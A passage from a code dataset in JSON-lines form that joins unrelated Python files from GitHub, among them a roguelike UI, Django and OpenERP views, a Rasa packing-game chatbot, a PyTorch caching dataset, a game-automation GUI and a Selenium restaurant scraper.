{enemy.fight_repr()}<-- (|{player.fight_repr()} ')\n sleep(0.25)\n\n if is_blocked:\n UI.display_info(\"Range attack has been blocked\")\n return\n\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t <{enemy.fight_repr()}- (|{player.fight_repr()} ')\n sleep(0.25)\n\n print(f\"Damage done: {damage}.\")\n sleep(1)\n\n @staticmethod\n def display_magic_animation(player, enemy, damage):\n is_blocked = damage < 0 \n\n if damage == 0:\n UI.display_info(\"No enough mana for magic attack.\")\n return None\n elif type(player) is Player.Player:\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t {player.fight_repr()}~o {enemy.fight_repr()} ')\n sleep(0.25)\n\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t {player.fight_repr()} ~o {enemy.fight_repr()} ')\n sleep(0.25)\n\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t {player.fight_repr()} ~o{enemy.fight_repr()} ')\n sleep(0.25)\n\n if is_blocked:\n UI.display_info(\"Magic attack has been blocked\")\n return\n\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t {player.fight_repr()} {enemy.fight_repr()}~o')\n sleep(0.25)\n elif type(player) is not Player.Player:\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t {enemy.fight_repr()} o~{player.fight_repr()} ')\n sleep(0.25)\n\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t {enemy.fight_repr()} o~ {player.fight_repr()} ')\n sleep(0.25)\n\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t {enemy.fight_repr()}o~ {player.fight_repr()} ')\n sleep(0.25)\n\n if is_blocked:\n UI.display_info(\"Magic attack has been blocked\")\n return\n\n Util.clear_screen()\n UI.add_new_line()\n print(f'\\t\\t\\t o~{enemy.fight_repr()} {player.fight_repr()} ')\n sleep(0.25)\n\n print(f\"Damage done: {damage}.\")\n sleep(1)\n\n\n @staticmethod\n def get_input_of_fight_menu():\n print()\n print(\"\\tChoose option: 1. Melee attack 2. Range attack\\n\\t3. Magic attack 4. Run (only if your attack is higher)\")\n try:\n return int(input(\"\\n\\tChoose one of options: \"))\n except:\n return None\n \n\n @staticmethod\n def display_info(string, clear_screen=True, new_lines=3):\n if clear_screen: \n Util.clear_screen()\n UI.add_new_line(new_lines)\n print(string)\n sleep(1)","repo_name":"ddeer1109/Roguelike-game","sub_path":"view/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":8994,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"71307793182","text":"from osv import osv\nfrom osv import fields\nfrom tools.translate import _\n\nSERVICE = None\n\ndef setSERVICE(service):\n global SERVICE\n SERVICE = service\n\nclass CreateTaskMemory(osv.osv_memory):\n _name = 'openstc.create.task.wizard'\n _description = 'Link task to ask'\n\n _columns = {\n 'inter_id': fields.many2one('project.project', 'Intervention', help='Select an intervention to'),\n 'ask_id': fields.many2one('openstc.ask', 'Ask'),\n 'inter_state': fields.related('inter_id', 'state', type='boolean'),\n 'inter_name': fields.char('Name', size=128, readonly=True),\n 'inter_date_deadline': fields.date('Deadline', readonly=True),\n 'inter_manager' : fields.many2one('res.users', 'Manager'),\n 'inter_service_id': fields.many2one('openstc.service', 'Service', readonly=True),\n 'inter_site1': fields.many2one('openstc.site', 'Site principal', readonly=True),\n 'task_ids': fields.one2many('openstc.task.memory', 'wizard_id', 'Tasks', help='Tasks for this ask'),\n }\n\n def _get_active_inter(self, cr, uid, context=None):\n if context is None:\n return False\n else:\n return context.get('active_id', False)\n\n def _get_active_ask(self, cr, uid, context=None):\n inter_id = self._get_active_inter(cr, uid, context)\n if inter_id:\n ask_id = self.pool.get('project.project').read(cr, uid, inter_id,['ask_id'],context)['ask_id']\n if ask_id :\n return ask_id[0]\n return False\n\n\n def _get_state_inter(self, cr, uid, context=None):\n inter_id = self._get_active_inter(cr, uid, context)\n if inter_id:\n return self.pool.get('project.project').read(cr, uid, inter_id,['state'],context)['state']\n else:\n return False\n\n def _get_name_inter(self, cr, uid, context=None):\n inter_id = self._get_active_inter(cr, uid, context)\n if inter_id:\n return self.pool.get('project.project').read(cr, uid, inter_id,['name'],context)['name']\n else:\n return False\n\n def _get_date_deadline_inter(self, cr, uid, context=None):\n inter_id = self._get_active_inter(cr, uid, context)\n if inter_id:\n return self.pool.get('project.project').read(cr, uid, inter_id,['date_deadline'],context)['date_deadline']\n else:\n return False\n\n def _get_site1_inter(self, cr, uid, context=None):\n inter_id = self._get_active_inter(cr, uid, context)\n if inter_id :\n site_id = self.pool.get('project.project').read(cr, uid, inter_id,['site1'],context)['site1']\n if site_id :\n return site_id[0]\n return False\n\n def _get_service_inter(self, cr, uid, context=None):\n ask_id = self._get_active_ask(cr, uid, context)\n if ask_id :\n service_id = self.pool.get('openstc.ask').read(cr, uid, ask_id,['service_id'],context)['service_id']\n if service_id :\n setSERVICE(service_id[0])\n return service_id[0]\n return False\n\n\n def fields_get(self, cr, uid, fields=None, context=None):\n self._get_service_inter(cr, uid, context)\n return super(CreateTaskMemory, self).fields_get(cr, uid, fields, context)\n\n\n _defaults = {\n 'inter_id': _get_active_inter,\n 'ask_id': _get_active_ask,\n 'inter_state' : _get_state_inter,\n 'inter_date_deadline': _get_date_deadline_inter,\n 'inter_name': _get_name_inter,\n 'inter_site1': _get_site1_inter,\n 'inter_service_id': _get_service_inter,\n }\n\n def action_add_task(self, cr, uid, ids, context=None):\n\n this = self.browse(cr, uid, ids[0], context=context)\n ask_obj = self.pool.get('openstc.ask')\n inter_obj = self.pool.get('project.project')\n task_obj = self.pool.get('project.task')\n task_work_obj = self.pool.get('project.task.work')\n created = False\n\n #TODO : Y'a t-il un état state = 'running'\n ask_obj.write(cr, uid, [this.ask_id.id], {\n 'manager_id': uid,\n }, context=context)\n\n\n\n\n if this != None :\n compagny_id = None\n\n for task in this.task_ids:\n if task.user_id :\n compagny = task.user_id.company_id\n if compagny:\n compagny_id = compagny.id\n\n\n task_id = task_obj.create(cr, uid, {\n 'name': task.name or 'A completer',\n 'project_id': this.inter_id.id or False,\n 'planned_hours': task.planned_hours or False,\n 'state': 'open',\n 'date_deadline': this.inter_date_deadline or False,\n #'dst_group_id': 18,\n 'user_id': task.user_id.id or False,\n 'category_id': task.category_id.id or False,\n 'ask_id': this.ask_id.id or False,\n }, context=context)\n task_work_obj.create(cr, uid, {\n 'name': task.name or 'A completer',\n 'task_id': task_id or False,\n 'hours': 0,\n 'user_id': task.user_id.id or False,\n 'company_id': compagny_id or False,\n }, context=context)\n created= True\n\n if not created:\n raise osv.except_osv(_('Warning !'),_(\"There is no valid ask selected !\") )\n\n\n return {'type': 'ir.actions.act_window_close'}\n\nCreateTaskMemory()\n\n\nclass TaskMemory(osv.osv_memory):\n _name = 'openstc.task.memory'\n _description = 'Task management'\n\n def fields_get(self, cr, uid, fields=None, context=None):\n res = super(TaskMemory, self).fields_get(cr, uid, fields, context)\n for field in res:\n if field == \"category_id\":\n res[field]['domain']=[('service_ids','in',[SERVICE])]\n return res\n\n _columns = {\n 'name': fields.char('Name', size=64, help='Help note', required=True),\n 'user_id':fields.many2one('res.users', 'Assigned to'),\n 'planned_hours': fields.float('Planned Hours', help='Estimated time to do the task, usually set by the project manager when the task is in draft state.'),\n 'wizard_id': fields.many2one('openstc.create.task.wizard', 'Wizard', help='Help note'),\n 'category_id': fields.many2one('openstc.task.category', 'Category', help='...'),#, domain=[('service_ids', 'in', [SERVICE])]\n }\n\n def _check_time(self, cr, uid, ids, context=None):\n tasks = self.browse(cr, uid, ids, context=context)\n check = True\n for task in tasks:\n if task.planned_hours < 0:\n check = False\n return check\n\n\n _constraints = [\n (_check_time, 'Error: Invalid Time', ['planned_hours', 'Incorrect Time']),\n ]\n\nTaskMemory()\n\n\n\n\n\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n","repo_name":"OpenSTC-Eleger/stc-interventions","sub_path":"wizard/create_task.py","file_name":"create_task.py","file_ext":"py","file_size_in_byte":6981,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"35352592395","text":"\nimport cv2\nimport time\nimport os\n \ncap = cv2.VideoCapture(1)\ncap.set(3,320)\ncap.set(4,240)\n \ndef snapShotCt():\n # camera_idx的作用是选择摄像头。如果为0则使用内置摄像头,比如笔记本的摄像头,用1或其他的就是切换摄像头。\n # ret, frame = cap.read() # cao.read()返回两个值,第一个存储一个bool值,表示拍摄成功与否。第二个是当前截取的图片帧。\n count = 100\n while True:\n \n # 从摄像头读取图片\n success, img = cap.read()\n \n cv2.imwrite(\"save_pic/\" + str(count) + '.jpg', img)\n cv2.imshow('image', img)\n time.sleep(0.5) # 休眠一秒 可通过这个设置拍摄间隔,类似帧。\n count += 1\n # ret, frame = cap.read() # 下一个帧图片\n # 保持画面的连续。waitkey方法可以绑定按键保证画面的收放,通过q键退出摄像\n # k = cv2.waitKey(1)\n # if k == '27':\n # break\n # 或者得到800个样本后退出摄像,这里可以根据实际情况修改数据量,实际测试后800张的效果是比较理想的\n if count >= 100:\n break\n \n \n# 关闭摄像头,释放资源\nsnapShotCt()\ncap.realease()\ncv2.destroyAllWindows()\n# camera.release()\n# cv2.destroyAllWindows()\n","repo_name":"xiaokamikami/TI_Prepare","sub_path":"photo.py","file_name":"photo.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"7352242580","text":"#INPUT list of jellybeans [y,r,g,...]\n#RETURN tuple (gsum, rsum, ysum, total)\n# gsum is total green, rsum is total red\n# ysum is total yellow and total = beans\ndef CountBeans(xlst):\n gsum = 0\n rsum = 0\n ysum = 0\n for i in xlst:\n if i == \"y\":\n ysum += 1\n elif i == \"g\":\n gsum += 1\n elif i == \"r\":\n rsum += 1\n\n total = gsum + rsum + ysum\n return (gsum, rsum, ysum, total)\n\ny,g,r = \"y\",\"g\",\"r\"\n\nbeans = [y,y,g,g,y,y,y,g,g,g,g,y,y,y,y,y,y,y,r,r,r,r,r,r,r,r,r,r,y,y,r,g,g,y,r,r,r,y,y,y,g,r]\n\nprint(\"g={0}, r={1}, y={2}, total={3}\".format(*CountBeans(beans)))","repo_name":"JaredTully/C200jttully","sub_path":"Assignment4/jelly.py","file_name":"jelly.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"31258735195","text":"# Empacotamento e desempacotamento de dicionários.\na, b = 1, 2\na, b = b, a\n# print(a, b)\n\n# a, b = pessoa # Retorna as chaves correspondentes para as variáveis. \n# a, b = pessoa.items() # Retorna as chaves e os valores para as variáveis.\n# a, b = pessoa.values() # Retorna os valores das chaves para as variáveis.\n\n# (a1, a2), (b1, b2) = pessoa.items()\n# print(a1, a2)\n# print(b1, b2)\n\n# for chave, valor in pessoa.items():\n# print(chave, valor)\n\n\npessoa={\n 'nome': 'Aline',\n 'sobrenome': 'Souza',\n}\n\ndados_pessoa = {\n 'idade': 16,\n 'altura': 1.60,\n}\n\npessoa_completa = {**pessoa, **dados_pessoa}\n\n\n# print(pessoa_completa)\n\n# args e kwargs\n# args (já vimos)\n# kwargs - keyword arguments (argumentos nomeados)\n\ndef mostro_argumentos_nomeados(*args, **kwargs):\n print('Não Nomeados:', args)\n for chave, valor in kwargs.items():\n print(chave, valor)\n\n# mostro_argumentos_nomeados(1, 2, nome='Joana', qlq=123, qlq2=456)\n# mostro_argumentos_nomeados(**pessoa_completa)\n\nconfiguracoes = {\n 'arg1': 1,\n 'arg2': 2,\n 'arg3': 3,\n 'arg4': 4,\n 'arg5': 5,\n 'arg6': 6,\n}\nmostro_argumentos_nomeados(**configuracoes)\n","repo_name":"Dematheu/Python_Udemy_1-6","sub_path":"Aula73(empacotamento_dicionario).py","file_name":"Aula73(empacotamento_dicionario).py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"75037851423","text":"import os.path as osp\n\nimport shutil\nimport tempfile\n\nimport torch\nfrom torch.utils.data import Dataset\n\nimport torch_skeleton.utils as skel_utils\n\nfrom typing import Callable, Optional\n\n\nclass DiskCache(Dataset):\n \"\"\"Cache ``Dataset`` instance to disk.\n\n Caches output of dataset to disk by creating a temporary directory at root.\n\n Args:\n root (str): root directory of cache\n dataset (``Dataset``): dataset to cache\n \"\"\"\n\n def __init__(\n self,\n dataset: Dataset,\n root: str = \".\",\n transform: Optional[Callable] = None,\n ):\n super().__init__()\n\n skel_utils.makedirs(root)\n self.temp_dir = tempfile.TemporaryDirectory(dir=root)\n\n self.root = self.temp_dir.name\n self.transform = transform\n\n skel_utils.makedirs(self.root)\n shutil.rmtree(self.root)\n skel_utils.makedirs(self.root)\n\n self.dataset = dataset\n\n def cache_path(self, index):\n return osp.join(self.root, f\"{index}.pt\")\n\n def __getitem__(self, index):\n path = self.cache_path(index)\n\n if osp.exists(path):\n x, y = torch.load(path)\n else:\n x, y = self.dataset[index]\n\n torch.save([x, y], self.cache_path(index))\n\n if self.transform is not None:\n x = self.transform(x)\n\n return x, y\n\n def __len__(self):\n return len(self.dataset)\n\n def __del__(self):\n self.temp_dir.cleanup()\n\n\nclass Apply(Dataset):\n \"\"\"Apply ``Transform`` to ``Dataset`` instance.\n\n Args:\n dataset (``Dataset``): dataset to apply transform to\n transform (``Transform``): transform to apply\n \"\"\"\n\n def __init__(self, dataset: Dataset, transform: Callable):\n super().__init__()\n\n self.dataset = dataset\n\n self.transform = transform\n\n def __getitem__(self, index):\n x, y = self.dataset[index]\n x = self.transform(x)\n return x, y\n\n def __len__(self):\n return len(self.dataset)\n","repo_name":"urw7rs/torch_skeleton","sub_path":"torch_skeleton/datasets/base_dataset.py","file_name":"base_dataset.py","file_ext":"py","file_size_in_byte":2015,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"7"} +{"seq_id":"13557943547","text":"from django.views import View\nfrom dal import autocomplete\nfrom driver import models\n\n\nclass RelatedFieldWidgetCanAdd(autocomplete.ModelSelect2):\n\n def __init__(self, related_model, related_url=None, *args, **kw):\n\n super(RelatedFieldWidgetCanAdd, self).__init__(*args, **kw)\n self.custom_url = False\n if not related_url:\n related_url = '/{0}/?add'.format(related_model.__name__.lower())\n self.custom_url = True\n\n # Be careful that here \"reverse\" is not allowed\n self.related_url = related_url\n\n\nclass MultipleRelatedFieldWidgetCanAdd(autocomplete.ModelSelect2Multiple):\n\n def __init__(self, related_model, related_url=None, *args, **kw):\n\n super(MultipleRelatedFieldWidgetCanAdd, self).__init__(*args, **kw)\n self.custom_url = False\n if not related_url:\n related_url = '/{0}/?add'.format(related_model.__name__.lower())\n self.custom_url = True\n\n # Be careful that here \"reverse\" is not allowed\n self.related_url = related_url\n\n\nclass TaxiAutoComplete(autocomplete.Select2QuerySetView):\n def get_queryset(self):\n qs = models.Taxi.objects.all().order_by('name')\n\n if self.q:\n qs = qs.filter(name__istartswith=self.q)\n return qs","repo_name":"Athul565/School_app","sub_path":"driver/auto_complete.py","file_name":"auto_complete.py","file_ext":"py","file_size_in_byte":1281,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33183244735","text":"from django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.views.generic import CreateView\n\nfrom ..forms import TopicForm, AnswerForm\nfrom ..models import Topic, Category, Answer\n\n\nclass AddTopicView(LoginRequiredMixin, CreateView):\n model = Topic\n form_class = TopicForm\n template_name = 'forum/topic_form.html'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n if self.request.POST:\n context['reply'] = AnswerForm(self.request.POST)\n else:\n context['reply'] = AnswerForm()\n return context\n\n def post(self, request, *args, **kwargs):\n form = self.get_form()\n answer_form = AnswerForm(self.request.POST, instance=Answer())\n if form.is_valid() and answer_form.is_valid():\n self.form_valid(form, answer_form)\n return HttpResponseRedirect(self.get_success_url())\n else:\n return self.render_to_response(\n self.get_context_data(form=form, answer=answer_form))\n\n def form_valid(self, form, answer_form):\n form.instance.author = self.request.user\n answer_form.instance.author = self.request.user\n category = Category.objects.get(\n pk=self.kwargs['pk'])\n\n self.object = form.save(commit=False)\n self.object.category = category\n self.object.save()\n\n reply = answer_form.save(commit=False)\n reply.topic = self.object\n reply.save()\n\n def form_invalid(self, form, answer_form):\n return self.render_to_response(\n self.get_context_data(form=form, answer=answer_form)\n )\n\n def get_success_url(self):\n return reverse('category', args=[\n self.object.category.parent.slug,\n self.object.category.slug])\n","repo_name":"GithubMateusz/forum","sub_path":"forum/views/add_topic_view.py","file_name":"add_topic_view.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33442837655","text":"from typing import Dict, Text, Any, List, Union, Optional\n\nfrom rasa_sdk import Action, Tracker\nfrom rasa_sdk.executor import CollectingDispatcher\nfrom rasa_sdk.forms import FormAction\nfrom rasa_sdk.events import SlotSet\nfrom rasa_core_sdk.events import Restarted\nimport random\n\nvocabulary = [\"shoes\",\n \"sunglasses\",\n \"shirts\",\n \"jackets\",\n \"socks\",\n \"pajamas\",\n \"speakers\",\n \"toothpaste\",\n \"tissues\",\n \"multivitamins\",\n \"eye drops\",\n \"a toothbrush\",\n \"a book\",\n \"a phone charger\",\n \"shampoo\",\n \"pants\",\n \"snacks\",\n \"water\",\n \"headphones\"\n ]\n\naffirmations = [\"Correct! \",\n \"Well done! \",\n \"Good job! \",\n \"That's right. \",\n \"That's correct. \",\n \"Yes. \",\n \"Ok. \",\n \"You're right. \",\n \"You're correct. \",\n \"Ok, let's see. \",\n \"\"\n ]\n\n\nclass ActionSetUpGame(Action): \n \n def name(self) -> Text:\n return \"action_setup_game\"\n\n def run(self, dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n \n used_words = []\n \n possible_words = list(vocabulary)\n \n word_choice_index = random.choice(range(len(possible_words)))\n word_choice = possible_words[word_choice_index]\n \n possible_words.remove(word_choice)\n \n used_words.append(word_choice)\n \n output = \"I'm packing a suitcase and I'm bringing \" + word_choice + \".\"\n\n dispatcher.utter_message(text=output)\n\n return [SlotSet(\"used_words\", used_words), SlotSet(\"possible_words\", possible_words)]\n\n \nclass ActionPlay(Action):\n\n def name(self) -> Text:\n return \"action_play\"\n\n def run(self, dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any]) -> List[Dict[Text, Any]]:\n \n possible_words = tracker.get_slot(\"possible_words\")\n used_words = tracker.get_slot(\"used_words\")\n \n if len(possible_words) == 0:\n dispatcher.utter_message(text=\"Sorry, I don't know any other words. This means you beat me! Congratulations :) Do you want to start over?\")\n return [SlotSet(\"used_words\", None), SlotSet(\"possible_words\", None)]\n \n user_input = tracker.get_slot(\"user_words\")\n \n user_list = user_input.split(\"bringing \")\n \n user_string = str(user_list[1])\n user_string_comp = user_string\n \n position_comp = 0\n \n # tests if user is missing a word or saying them in the wrong order\n for i in range(len(used_words)):\n if str(used_words[i]) in user_string:\n current_word = used_words[i]\n user_string = user_string.replace(current_word, \"\")\n position = user_string_comp.index(current_word)\n if position < position_comp:\n message = \"You said \" + current_word + \" in the wrong position. You lost. Do you want to start over?\"\n dispatcher.utter_message(text=message)\n \n return [SlotSet(\"used_words\", None), SlotSet(\"possible_words\", None)]\n position_comp = position\n \n else:\n message = \"You did not say \" + used_words[i] + \". You lost. Do you want to start over?\"\n dispatcher.utter_message(text=message)\n \n return [SlotSet(\"used_words\", None), SlotSet(\"possible_words\", None)]\n \n if \".\" in user_string:\n user_string = user_string.replace(\".\", \"\")\n \n if \",\" in user_string:\n user_string = user_string.replace(\",\", \"\") \n \n user_string_l = user_string.split(\"and \") \n \n # tests if user is saying additional words \n for i in range(len(user_string_l)-1):\n additional_words = user_string_l[i].strip(' ')\n if additional_words:\n message = \"You said \" + additional_words + \". That's wrong. You lost. Do you want to start over?\"\n dispatcher.utter_message(text=message)\n \n return [SlotSet(\"used_words\", None), SlotSet(\"possible_words\", None)]\n \n added_word = user_string_l[len(user_string_l)-1].strip(' ')\n \n if added_word in possible_words:\n possible_words.remove(added_word)\n \n # tests if user is adding already used word\n if not added_word:\n message = \"You either did not add a new object or said something we already used! You lost. Do you want to start over?\"\n dispatcher.utter_message(text=message)\n \n return [SlotSet(\"used_words\", None), SlotSet(\"possible_words\", None)]\n else: \n # accept user input\n used_words.append(added_word)\n \n word_choice_index = random.choice(range(len(possible_words)))\n word_choice = possible_words[word_choice_index] \n \n possible_words.remove(word_choice)\n \n affirm_index = random.choice(range(len(affirmations)))\n affirm = affirmations[affirm_index]\n \n output = affirm + \"I'm packing a suitcase and I'm bringing \" \n \n for word in used_words: \n output += word\n output += \", \"\n output += \"and \" + word_choice + \".\"\n\n dispatcher.utter_message(text=output)\n \n used_words.append(word_choice)\n\n return [SlotSet(\"used_words\", used_words), SlotSet(\"possible_words\", possible_words)]\n \n \nclass ActionRestarted(Action):\n \"\"\" This is for restarting the game \"\"\"\n\n def name(self):\n return \"action_restart\"\n\n def run(self, dispatcher, tracker, domain):\n \n dispatcher.utter_message(text=\"Let's start over.\")\n \n return [Restarted()]\n\n\nclass ActionExtractInput(Action):\n def name(self):\n return \"action_extract_input\"\n\n def run(self, dispatcher, tracker, domain):\n \n message = tracker.latest_message.get('text')\n return [SlotSet('user_words', message)]","repo_name":"MerlePfau/LT2216PackingSuitcase","sub_path":"actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":6477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"43144360319","text":"from django.shortcuts import render\r\nfrom plugin_latest import main1\r\nfrom django.template import loader\r\n\r\nfrom django.http import HttpResponse\r\n\r\n\r\ndef create_plugin(request):\r\n\treturn render(request,'create_plugin.html')\r\n\r\ndef plugin(request):\r\n\tif request.method == \"POST\":\r\n\t\told_plugin = request.POST.get('old_plugin_name')\r\n\t\tnewPlugin = request.POST.get('new_plugin_name')\r\n\t\toldESXver = request.POST.get('old_esx_version')\r\n\t\tnewESXVer = request.POST.get('new_esx_version')\r\n\t\toldWorkbenchVer = request.POST.get('old_wb_version')\r\n\t\tnewWorkbenchVer = request.POST.get('new_wb_version')\r\n\t\tpath = request.POST.get('path')\r\n\t\tprint(old_plugin,newPlugin,path)\r\n\t\tmain1(old_plugin,newPlugin,oldESXver,newESXVer,oldWorkbenchVer,newWorkbenchVer,path)\r\n\treturn render(request, 'plugin.html')","repo_name":"Avakashd/Cert_Plugin_Creation","sub_path":"plugin_creation/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"30779024865","text":"import cv2\nimport numpy as np\nimport pyautogui\nimport pydirectinput\nimport time\nimport var\nimport sys\nimport win32gui\nimport random\nfrom tkinter import *\nfrom tkinter.ttk import *\nfrom PIL import ImageTk, Image\nfrom character import get_character_location, move_character\nfrom display import display_images\n\n\ndef take_screenshot():\n screenshot = pyautogui.screenshot(\n region=(\n capture_region.winfo_x(),\n capture_region.winfo_y(),\n capture_region.winfo_width(),\n capture_region.winfo_height(),\n )\n )\n screenshot.save(\"./screenshot.png\")\n return cv2.imread(\"./screenshot.png\")\n\n\n# main\ndef main_run():\n if var.run_flag:\n if time.time() >= (var.frame_time + (1 / var.image_frame_rate)):\n print(\"take_screenshot\")\n var.img = take_screenshot()\n var.tk_img = ImageTk.PhotoImage(Image.open(\"./screenshot.png\"))\n canvas.create_image(0, 0, image=var.tk_img, anchor=\"nw\")\n var.hsv = cv2.cvtColor(var.img, cv2.COLOR_BGR2HSV)\n var.mask = cv2.inRange(var.hsv, var.lower, var.upper)\n contours, _ = cv2.findContours(\n var.mask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE\n )\n # character position\n # character_locate = get_character_location(contours)\n # move_character(character_locate, contours)\n # skill\n # if time.time() >= (var.skill_time + 5):\n # execute_skill(\"t\")\n # puttext()\n root.after(200, main_run)\n\n\ndef get_window_handle(window_title):\n handle = win32gui.FindWindow(None, window_title)\n return handle\n\n\ndef switch_to_window(window_handle):\n # 將焦點切換到指定的窗口\n win32gui.SetForegroundWindow(window_handle)\n\n\ndef start_execution():\n var.run_flag = True\n label.config(text=\"執行中\")\n if not var.thread_flag:\n main_run()\n var.thread_flag = 1\n\n\ndef pause_execution():\n var.run_flag = False\n label.config(text=\"暫停\")\n\n\ndef exit_execution():\n sys.exit()\n\n\n# for skill press\ndef execute_skill(skill_btn):\n print(skill_btn, end=\"press \\n\")\n # pydirectinput.press(skill_btn)\n time.sleep(random.uniform(3, 3.5))\n var.skill_time = time.time()\n\n\ndef hide_capture_region():\n if hide_capture.get():\n capture_region.attributes(\"-alpha\", 0)\n else:\n capture_region.attributes(\"-alpha\", 0.5)\n\n\n\ndef capture_image_resize():\n image_viewer.geometry(f'{capture_region.winfo_width()}x{capture_region.winfo_height()}')\n\n\n### for GUI ###\n\n# root window\nroot = Tk()\nhide_capture = IntVar()\nshow_image = IntVar()\n# info label\nlabel = LabelFrame(root, text=\"請按開始...\")\nlabel.pack(fill=\"x\")\n# show capture region\nhide_capture_ckb = Checkbutton(\n root,\n text=\"隱藏擷取範圍\",\n variable=hide_capture,\n onvalue=1,\n offvalue=0,\n command=hide_capture_region,\n)\nhide_capture_ckb.pack()\n# start btn\nbutton = Button(root, text=\"開始\", command=start_execution)\nbutton.pack(fill=\"x\")\n# pause btn\npause_button = Button(root, text=\"暫停\", command=pause_execution)\npause_button.pack(fill=\"x\")\n# capture_image_resize\ncapture_image_resize_button = Button(\n root,\n text=\"重設擷取影像大小\",\n command=capture_image_resize,\n)\ncapture_image_resize_button.pack(fill=\"x\")\n# end btn\nend_button = Button(root, text=\"結束\", command=exit_execution)\nend_button.pack(fill=\"x\")\n\n\n# capture region window\ncapture_region = Toplevel(root)\ncapture_region.attributes(\"-alpha\", 0.5)\ncapture_region.attributes(\"-topmost\",True)\ncapture_region.geometry(\"300x300\")\ncapture_region.title(\"capture_region\")\n\n\n# image viewer window\nimage_viewer = Toplevel(root, highlightthickness=0)\nimage_viewer.title(\"image\")\nimage_viewer.geometry(\"300x300\")\ncanvas = Canvas(image_viewer)\ncanvas.pack(fill=\"both\", expand=True)\n\n\n# 設置停止標誌的初始值\npause_flag = True\nroot.geometry(\"+1600+720\")\n# 啟動Tkinter的事件循環\nroot.mainloop()\n","repo_name":"ray19930220/test_script","sub_path":"main_.py","file_name":"main_.py","file_ext":"py","file_size_in_byte":3988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"21565390286","text":"from setuptools import setup\nfrom vite import __version__\n\nwith open('readme.md') as f:\n long_description = f.read()\n\nsetup(\n author='Anirudh',\n author_email='x@icyphox.sh',\n long_description=long_description,\n long_description_content_type='text/markdown',\n name='vite',\n version=__version__,\n description='A simple and minimal static site generator.',\n url='https://github.com/icyphox/vite',\n license='MIT',\n packages=['vite'],\n install_requires=[\n 'myrkdown @ git+https://github.com/icyphox/myrkdown', 'Jinja2', 'huepy', 'pygments', 'livereload',\n ],\n entry_points={\n 'console_scripts': [\n 'vite = vite.cli:main',\n ]\n },\n)\n","repo_name":"icyphox/vite","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"7"} +{"seq_id":"11927504806","text":"# モジュールのインポート\nimport pandas as pd\nimport re\nimport csv\nimport time\nfrom selenium import webdriver\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nimport ssl\nimport socket\nfrom urllib.parse import urlparse\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\noptions = Options()\noptions.add_argument('--headless') # ヘッドレスモードで実行する\noptions.add_argument('--disable-site-isolation-trials')\ndriver_path = ChromeDriverManager().install()\nbrowser = webdriver.Chrome(executable_path=driver_path, options=options)\n\n\n\ntime.sleep(3)\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36'}\nbrowser.get('https://www.gnavi.co.jp/')\n\n# 検索ボックスを特定し、入力する文字列を指定する\narea = input('エリアを入力してください:')\nwait = WebDriverWait(browser, 20)\nsearch_box = wait.until(\n EC.presence_of_element_located((By.ID, 'js-suggest-area')))\nsearch_box.send_keys(area)\n\n#検索を実行する\nbutton = WebDriverWait(browser, 5).until(\n EC.element_to_be_clickable((By.CLASS_NAME, \"js-search\")))\nbutton.click()\ncurrent_url = browser.current_url\n\n#店舗のurlを格納するリスト\nlinkslist = []\n\n# 全ての要素を取得し、href属性の値を取得する\nr = 2\nwhile len(linkslist) < 50:\n time.sleep(3)\n links = browser.find_elements(By.CSS_SELECTOR, \"a.style_titleLink__oiHVJ\")\n for link in links:\n href = link.get_attribute('href')\n if (href and href not in linkslist and len(linkslist) < 50):\n linkslist.append(href)\n\n # 次のページに移動 \n new_url = \"{}&p={}\".format(current_url, r)\n r = r + 1\n headers = 